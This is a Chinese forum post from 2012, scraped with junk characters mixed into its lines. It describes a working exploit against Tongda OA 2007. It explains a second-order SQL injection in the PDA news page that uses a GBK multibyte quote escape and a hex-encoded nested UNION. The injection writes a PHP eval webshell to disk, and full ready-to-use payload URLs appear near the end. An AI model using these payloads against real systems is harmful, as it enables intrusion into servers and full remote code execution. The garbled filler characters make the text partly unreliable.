目前测试通达OA2007版本
9 e6 i# w3 A% J# r g: M4 e5 f" \, ~; Q' F7 q8 s
; w/ [8 ^6 y! h% d& Y
Office Anywhere 2007 网络智能办公系统2 X0 O+ i( t }$ |3 @( L! ?2 t6 ?
5 A$ f$ X% [ K- ~0 p4 T
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
+ t! t1 L% w$ k5 ~ % ]8 o c: A3 O e
j* T4 F+ U4 J `; k! Z ?
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的 q& S/ o, L' O/ k7 H' [
$ k% e9 \, ~4 a) }# o7 h
例如：SELECT * from USER where USER_ID='{$USERNAME}' # o5 W0 q% [ q* V$ |+ z" q- n
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了3 A0 G/ n* j; P% |2 }$ y' j
( O$ d( p& F4 K& d! f" M4 f这个时候我们是不是可以组合起来使用哪？+ @$ J' g* [, O6 I5 ~, R- H$ O1 Y
5 I& {* m/ h- E8 a
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
+ P- R: ~+ N% R* i7 s6 R. Kunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
, n# @7 }1 s- X, J4 {' ?' w
1 J& h! z- v) @% j" ~. o这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
. i7 P N/ g. ?1 m % P7 _8 N. v& \6 w: P
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
- A. x- R2 W0 [6 _: j1 @ _
0 `/ G* ~+ x: G4 [那么我们用字符串格式带入进行hex编码
( q' f: B: R. n/ Z5 I6 ?: E. g$ L ) J6 c) K# f6 K) A. B
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
Y6 I) R- e" o! _
8 h! n v _) F. `4 e6 @测试ok，获取oa的webshell" ~: J# r$ N( d0 B$ v
3 a& N! D" V4 `, \
1 J3 Y8 d/ @9 [* ^pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
0 j3 a0 V. a6 I, w; P直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对